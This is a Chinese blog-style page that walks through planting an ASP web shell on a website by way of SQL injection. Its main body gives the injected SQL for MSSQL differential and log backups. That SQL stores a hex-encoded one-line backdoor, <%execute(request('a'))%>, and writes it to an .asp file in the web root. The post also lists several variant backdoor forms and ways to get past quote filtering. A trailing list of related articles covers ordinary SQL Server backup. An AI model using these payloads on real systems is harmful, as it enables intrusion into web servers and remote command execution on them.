复习一下sql server的差异备份

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--

2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================

我发现上面代码,有时会无效,而直接用

backup database 库名 to disk = 'c:\ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!

网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:\cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup log null to disk = '备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).<%%25Execute(request("a"))%%25>
b).<%Execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script language=VBScript runat=server>execute request("a")</script>
e).<%25Execute(request("a"))%25>

(0)

相关推荐

  • 复习一下sql server的差异备份

    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少! 差异备份的流程大概这样: 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert int

  • SQL Server还原完整备份和差异备份的操作过程

    1.首先右键数据库,点击还原数据库: 然后会打开还原数据库窗口,如图所示: 首先 "源" 选择设备,并且选择到完整备份的数据库备份文件 然后在 "目标" 数据库可直接填写还原以后的数据库名称 接着点击左侧文件: 建议勾选选项"将所有文件重新定位到文件夹",其实就是还原以后的数据库保存位置,当然不勾也一样能还原. 然后继续点击左侧选项: 覆盖现有数据库可勾可不勾,如果是还原到已存在的数据库,建议勾选. 重点: 第一个红框中的恢复状态选择: 如果只需

  • SQL Server数据库之备份和恢复数据库

    目录 1. 概述 2. 备份类型 3. 恢复模式 3.1 简单恢复模式 3.2 完全恢复模式和大容量日志恢复模式 4. 备份数据库 5. 恢复数据库 1. 概述 在一些对数据可靠性要求很高的行业,若发生意外停机或数据丢失,其损失是十分惨重的:数据库管理员应针对具体的业务要求指定详细的数据库备份与灾难恢复策略,并通过模拟故障对每种可能的情况进行严格测试,只有这样才能保证数据的高可用性:数据库的备份是一个长期过程,而恢复只在发生事故后才能进行,恢复后可看做是备份数据库的逆过程,恢复程度的好坏很大程度

  • SQL Server中网络备份一例

    复制代码 代码如下: use master declare @dir varchar(256),@dir_db varchar(256),          @verb varchar(256),@cmd varchar(256),          @backup_name varchar(256),@dynamic_name varchar(10),          @disk_name varchar(256) --建立网络连接  exec xp_cmdshell 'net use K:

  • 快速实现SQL Server数据库恢复备份

    本文为大家分享了SQL Server数据库恢复备份的两种方法,供大家参考,具体内容如下 第一种方法:通常我们采用恢复备份的方式,选择目标数据库,选择源设备进行恢复. 截图如下: 第二种方法:这种方式有时候不太方便,而脚本方式将更方便,使用脚本方式如下. /* 备份数据DB 到.bak文件.然后利用此bak文件恢复一个新的数据库DBTest. */ USE master BACKUP DATABASE DB TO DISK = 'e:\DBTest.bak' RESTORE FILELISTONL

  • SQL server 2008 数据安全(备份和恢复数据库)

    下边是我对部分内容的总结,里边偏向了T-SQL语句实现的总结,对于SQL Server Management Studio中对象管理器的操作并没有太多的总结,因为这些都有一些向导,而且,大部分都是在对应的节点,右击找相应的操作,相应的对象,然后根基向导去操作! 首先是大概知识点的总结: 下边是一些T-SQL语句对应的总结,1,管理备份设备的语句: 2,备份的语句: 3,数据恢复的对应语句: 最后, 上边讲到了备份有完全备份,差异备份,事务日志备份和文件组和数据文件备份,恢复有简单恢复,简单恢复,

  • SQL Server 数据库的备份详细介绍及注意事项

    SQL Server 备份 前言 为什么要备份?理由很简单--为了还原/恢复.当然,如果不备份,还可以通过磁盘恢复来找回丢失的文件,不过SQL Server很生气,后果很严重.到时候你就知道为什么先叫你备份一次再开始看文章了.∩__∩.本系列将介绍SQL Server所有可用的备份还原功能,并尽可能用实例说话. 什么是备份?SQL Server基于Windows,以文件形式存放资料,所以备份就是Windows上SQL Server相关文件的一个某个时间点的副本.根据备份类型的不同,副本的种类和内

  • SQL Server远程定时备份数据库脚本分享

    经常会有定时备份SQL Server数据库的需要.定时备份到本机的话,还是挺容易的,计划任务就可以完成,但如果是整机挂了,那备份到本机是没意义的,那么就需要来考虑备份到局域网中,其它电脑里. 下面就分享一份在网上找了之后,自己再简单整理过的代码,配合 SQL Server 代理中的作业功能,已经稳定运行一个星期了,每小时就备份一次. 复制代码 代码如下: -- 创建网络映射(Y是盘符:IP地址后面要带共享文件夹的名称:password是密码,双引号引起:account是远程电脑的登录名) exe

  • 设定sql server定期自动备份数据库

    企业管理器中的Tools,Database Maintenance Planner,可以设置数据库的定期自动备份计划.并通过启动Sql server Agent来自动运行备份计划.具体步骤如下:  1.打开企业管理器,在控制台根目录中依次点开Microsoft SQL Server-->SQL Server组-->双击打开你的服务器  2.然后点上面菜单中的工具-->选择数据库维护计划器  3.下一步选择要进行自动备份的数据-->下一步更新数据优化信息,这里一般不用做选择-->

  • SQL server 定时自动备份数据库的图文方法

    SQL2000版本 用JOB 企业管理器 --管理 --SQL Server代理 --右键作业 --新建作业 --"常规"项中输入作业名称 --"步骤"项 --新建 --"步骤名"中输入步骤名 --"类型"中选择"Transact-SQL 脚本(TSQL)" --"数据库"选择执行命令的数据库 --"命令"中输入要执行的语句: --确定 --"调度"

随机推荐